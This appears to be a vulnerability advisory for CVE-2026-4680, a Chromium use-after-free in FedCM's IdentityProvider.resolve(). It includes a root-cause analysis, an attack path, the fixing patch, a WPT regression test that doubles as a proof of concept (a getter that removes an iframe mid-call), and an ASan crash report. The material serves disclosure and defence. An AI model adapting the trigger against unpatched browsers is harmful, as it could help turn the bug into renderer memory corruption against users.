CVE-2026-4680
Overview
Background
- FedCM `IdentityProvider.resolve()`
- a Federated Credential Management API, implemented in
identity_provider.cc, that lets an identity provider page hand a token back to the browser; Blink forwards it viaResolveTokenRequeston theFederatedAuthRequestMojo interface. - `CredentialManagerProxy::From(script_state)->FederatedAuthRequest()`
- returns a raw pointer to the per-context
FederatedAuthRequestinterface owned by theCredentialManagerProxyattached to the frame’s context. - `WebV8ValueConverter`
- converts a JavaScript value into a
base::Value; converting an object walks its properties, so page-defined getters run during the conversion. - `ScriptState::ContextIsValid()`
- reports whether the JavaScript context (and its frame/document) is still alive; it becomes false if the frame is detached.
Root Cause Analysis
In the IdentityProvider resolve implementation in third_party/blink/renderer/modules/credentialmanagement/identity_provider.cc (the hunks do not show the enclosing signature, but the regression test calls IdentityProvider.resolve), the code previously fetched the raw request pointer from CredentialManagerProxy::From(script_state)->FederatedAuthRequest() near the start of the function, before converting the token argument. When RuntimeEnabledFeatures::FedCmNonStringTokenEnabled() is on, the token is converted with WebV8ValueConverter, which invokes page-defined property getters; the regression test uses such a getter to call frame.remove(), detaching the frame mid-call. After the conversion, the stale request pointer was then used for request->ResolveTokenRequest(...), even though the frame’s context and its interface objects may have been torn down, giving the use-after-free (the exact freed object is inferred to be the FederatedAuthRequest interface or its owner).
The fix removes the early lookup, adds an early return promise when script_state->ContextIsValid() is false after conversion, and only then fetches request immediately before calling ResolveTokenRequest, with a comment that no JavaScript may run between the lookup and the use.
Attack Path
- Create a same-origin frame
The page creates an
iframeand obtains itscontentWindow.IdentityProvider, as in the shipped WPT test. - Craft a side-effecting token
The page passes a
tokenobject with an enumerable getter that removes the iframe when read. - Call `resolve()` in the child context
IdentityProvider.resolve(token, { accountId: '123' })fetched theFederatedAuthRequestpointer, then convertedtoken, running the getter and detaching the frame. - Use the stale pointer
After conversion the code called
request->ResolveTokenRequest(...)on the pointer obtained before the frame was destroyed, accessing freed renderer memory.
Impact Assessment
IdentityProvider.resolve() on a frame it can then remove; the getter-based trigger shown in the test relies on the FedCmNonStringTokenEnabled conversion path, and the diff does not show whether that feature is enabled by default in stock builds (nor whether the else conversion path has its own side effects). Renderer heap corruption that could lead to code execution inside the sandboxed renderer is inferred, not demonstrated by the patch.Files Changed
third_party/blink/renderer/modules/credentialmanagement/identity_provider.ccthird_party/blink/web_tests/external/wpt/fedcm/fedcm-authz/fedcm-resolve-side-effects.https.html
Audit Directions
- Raw pointers cached across V8 conversionssearch Blink bindings implementations for pointers to supplements, proxies, Mojo remotes or frame-owned objects obtained before
WebV8ValueConverter,NativeValueTraits, dictionary/anyconversion or other user-script-invoking steps, then used afterwards. - Missing context revalidation after scriptafter any operation that can run getters,
toString/valueOf, or Proxy traps, check that code re-testsContextIsValid()(or frame detachment) before touching per-context state. - Other Credential Management entry pointsreview sibling FedCM and
CredentialsContainermethods that accept object parameters for the same lookup-then-convert ordering.
Patch
From 392c4d50d407236a3212d654cdea1fca202fd7ad Mon Sep 17 00:00:00 2001
From: Christian Biesinger <cbiesinger@chromium.org>
Date: Mon, 16 Mar 2026 10:32:18 -0700
Subject: [PATCH] [FedCM] Get the FederatedAuthRequest right before using it
And only get it if the context is (still) valid.
R=npm@chromium.org
Fixed: 491869946
Change-Id: I0552f07f7fbffc743a85f95a7026225987a55147
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7665206
Commit-Queue: Christian Biesinger <cbiesinger@chromium.org>
Reviewed-by: Nicolás Peña <npm@chromium.org>
Auto-Submit: Christian Biesinger <cbiesinger@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1599990}
---
diff --git a/third_party/blink/renderer/modules/credentialmanagement/identity_provider.cc b/third_party/blink/renderer/modules/credentialmanagement/identity_provider.cc
index 05e254e..364f6457 100644
--- a/third_party/blink/renderer/modules/credentialmanagement/identity_provider.cc
+++ b/third_party/blink/renderer/modules/credentialmanagement/identity_provider.cc
@@ -244,9 +244,6 @@
MakeGarbageCollected<ScriptPromiseResolver<IDLUndefined>>(script_state);
auto promise = resolver->Promise();
- auto* request =
- CredentialManagerProxy::From(script_state)->FederatedAuthRequest();
-
std::unique_ptr<base::Value> token_base_value;
if (RuntimeEnabledFeatures::FedCmNonStringTokenEnabled()) {
std::unique_ptr<WebV8ValueConverter> converter =
@@ -322,6 +319,17 @@
std::move(*token_base_value));
}
+ if (!script_state->ContextIsValid()) {
+ // This can happen if converting the `token` parameter had side effects
+ // that destroyed the document. With an invalid context, we also can't
+ // reject the promise.
+ return promise;
+ }
+
+ // There must not be JavaScript execution between getting the request pointer
+ // and using it.
+ auto* request =
+ CredentialManagerProxy::From(script_state)->FederatedAuthRequest();
request->ResolveTokenRequest(
account_id, std::move(params),
BindOnce(&OnResolveTokenRequest, WrapPersistent(resolver)));
diff --git a/third_party/blink/web_tests/external/wpt/fedcm/fedcm-authz/fedcm-resolve-side-effects.https.html b/third_party/blink/web_tests/external/wpt/fedcm/fedcm-authz/fedcm-resolve-side-effects.https.html
new file mode 100644
index 0000000..6a464e65
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/fedcm/fedcm-authz/fedcm-resolve-side-effects.https.html
@@ -0,0 +1,31 @@
+<!DOCTYPE html>
+<title>Federated Credential Management API network request tests.</title>
+<link rel="help" href="https://fedidcg.github.io/FedCM">
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+<script src="/resources/testdriver.js"></script>
+<script src="/resources/testdriver-vendor.js"></script>
+
+<body>
+
+<script type="module">
+
+promise_test(async t => {
+ const frame = document.createElement('iframe');
+ document.body.appendChild(frame);
+
+ const token = {};
+ Object.defineProperty(token, 'prop', {
+ get: function() {
+ frame.remove();
+ return "value";
+ },
+ enumerable: true
+ });
+
+ try {
+ frame.contentWindow.IdentityProvider.resolve(token, { accountId: '123' });
+ } catch(e) {}
+}, "If a getter in the token in IdentityProvider.resolve removes the frame, the user agent should not crash");
+
+</script>
Regression Test / PoC
diff --git a/third_party/blink/web_tests/external/wpt/fedcm/fedcm-authz/fedcm-resolve-side-effects.https.html b/third_party/blink/web_tests/external/wpt/fedcm/fedcm-authz/fedcm-resolve-side-effects.https.html
new file mode 100644
index 0000000..6a464e65
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/fedcm/fedcm-authz/fedcm-resolve-side-effects.https.html
@@ -0,0 +1,31 @@
+<!DOCTYPE html>
+<title>Federated Credential Management API network request tests.</title>
+<link rel="help" href="https://fedidcg.github.io/FedCM">
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+<script src="/resources/testdriver.js"></script>
+<script src="/resources/testdriver-vendor.js"></script>
+
+<body>
+
+<script type="module">
+
+promise_test(async t => {
+ const frame = document.createElement('iframe');
+ document.body.appendChild(frame);
+
+ const token = {};
+ Object.defineProperty(token, 'prop', {
+ get: function() {
+ frame.remove();
+ return "value";
+ },
+ enumerable: true
+ });
+
+ try {
+ frame.contentWindow.IdentityProvider.resolve(token, { accountId: '123' });
+ } catch(e) {}
+}, "If a getter in the token in IdentityProvider.resolve removes the frame, the user agent should not crash");
+
+</script>
Original Bug Report
heap-use-after-free in blink::IdentityProvider::resolve
=================================================================
==62372==ERROR: AddressSanitizer: heap-use-after-free on address 0x12be97ae9630 at pc 0x7ff858f0742e bp 0x00e6035fe160 sp 0x00e6035fe1a8
READ of size 8 at 0x12be97ae9630 thread T0
#0 0x7ff858f0742d in blink::IdentityProvider::resolve(class blink::ScriptState *, class blink::ScriptValue const &, class blink::IdentityResolveOptions const *) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\credentialmanagement\identity_provider.cc:316:12
#1 0x7ff85671195b in blink::`anonymous namespace'::v8_identity_provider::ResolveStaticOperationCallback C:\b\s\w\ir\cache\builder\src\out\069a-Win_ASan_Releas\gen\third_party\blink\renderer\bindings\modules\v8\v8_identity_provider.cc:204:23
#2 0x7ff85e5f3824 in Builtins_CallApiCallbackGeneric (C:\Users\Admin\Downloads\chrome-asan\chrome.dll+0x1ad4d3824)
#3 0x7ff85e5f197b in Builtins_InterpreterEntryTrampoline (C:\Users\Admin\Downloads\chrome-asan\chrome.dll+0x1ad4d197b)
...
#35 0x7ff845866613 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork(void) C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc:346:40
#36 0x7ff8459d3607 in base::MessagePumpDefault::Run(class base::MessagePump::Delegate *) C:\b\s\w\ir\cache\builder\src\base\message_loop\message_pump_default.cc:42:55
#37 0x7ff8458694ff in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, class base::TimeDelta) C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc:650:12
#38 0x7ff84590ef5c in base::RunLoop::Run(class base::Location const &) C:\b\s\w\ir\cache\builder\src\base\run_loop.cc:135:14
SUMMARY: AddressSanitizer: heap-use-after-free C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\credentialmanagement\identity_provider.cc:316:12 in blink::IdentityProvider::resolve(class blink::ScriptState *, class blink::ScriptValue const &, class blink::IdentityResolveOptions const *)
Shadow bytes around the buggy address:
0x12be97ae9380: f7 fa 00 fa f7 fa 00 fa f7 fa 00 fa f7 fa 00 fa
0x12be97ae9400: f7 fa fd fa f7 fa fd fa f7 fa fd fa f7 fa fd fa
0x12be97ae9480: f7 fa 00 fa f7 fa fd fd f7 fa fd fa f7 fa fd fa
0x12be97ae9500: f7 fa fd fa f7 fa 00 07 f7 fa fd fa f7 fa fd fa
0x12be97ae9580: f7 fa fd fa f7 fa fd fa f7 fa fd fa f7 fa 00 fa
=>0x12be97ae9600: f7 fa fd fd f7 fa[fd]fd f7 fa fd fa f7 fa fd fa
0x12be97ae9680: f7 fa fd fa f7 fa fd fd f7 fa fd fa f7 fa fd fa
0x12be97ae9700: f7 fa fd fa f7 fa fd fa f7 fa 00 00 f7 fa fd fa
0x12be97ae9780: f7 fa 00 00 f7 fa 00 00 f7 fa 00 00 f7 fa 00 fa
0x12be97ae9800: f7 fa fd fd f7 fa fd fa f7 fa fd fa f7 fa fd fd
0x12be97ae9880: f7 fa 00 fa f7 fa fd fa f7 fa fd fa f7 fa fd fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==62372==ADDITIONAL INFO
==62372==Note: Please include this section with the ASan report.
Task trace:
#0 0x7ff855e7d154 in blink::DOMTimer::DOMTimer(class blink::ExecutionContext &, class blink::ScheduledAction *, class base::TimeDelta, bool) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\scheduler\dom_timer.cc:343:27
#1 0x7ff849446109 in IPC::ChannelAssociatedGroupController::Accept(class mojo::Message *) C:\b\s\w\ir\cache\builder\src\ipc\ipc_mojo_bootstrap.cc:1138:13
Command line: `"C:\Users\Admin\Downloads\chrome-asan\chrome.exe" --type=renderer --no-pre-read-main-dll --start-stack-profiler --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\Downloads\chrome-asan\gen" --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --time-ticks-at-unix-epoch=-1773079218143692 --launch-time-ticks=197939893276 --metrics-shmem-handle=3844,i,15911451909191243047,11158795503653610499,2097152 --field-trial-handle=1940,i,1091808593593248265,3138818943078118960,262144 --variations-seed-version --pseudonymization-salt-handle=2108,i,7123884904703337945,13134237462315843116,4 --trace-process-track-uuid=3190708990997080739 --mojo-platform-channel-handle=3780 /prefetch:1`
MiraclePtr Status: NOT PROTECTED
No raw_ptr<T> access to this region was detected prior to this crash.
This crash is still exploitable with MiraclePtr.
Refer to https://chromium.googlesource.com/chromium/src/+/main/base/memory/raw_ptr.md for details.
==62372==END OF ADDITIONAL INFO
==62372==ABORTING
VERSION
148.0.7730.0 (Developer Build) (64-bit)
REPRODUCTION CASE
Build: asan-win32-release_x64-1598047
Run: ./chrome.exe --no-sandbox poc.html
Reporter credit: Shaheen Fazim
- https://chromium.googlesource.com/chromium/src/+/main/base/memory/raw_ptr.md
- https://www.googleapis.com/download/storage/v1/b/chromium-browser-asan/o/win32-release_x64%2Fasan-win32-release_x64-1598047.zip?generation=1773274798874073&alt=media
- https://www.googleapis.com/download/storage/v1/b/chromium-browser-asan/o/win32-release_x64/asan-win32-release_x64-1598047.zip?generation=1773274798874073&alt=media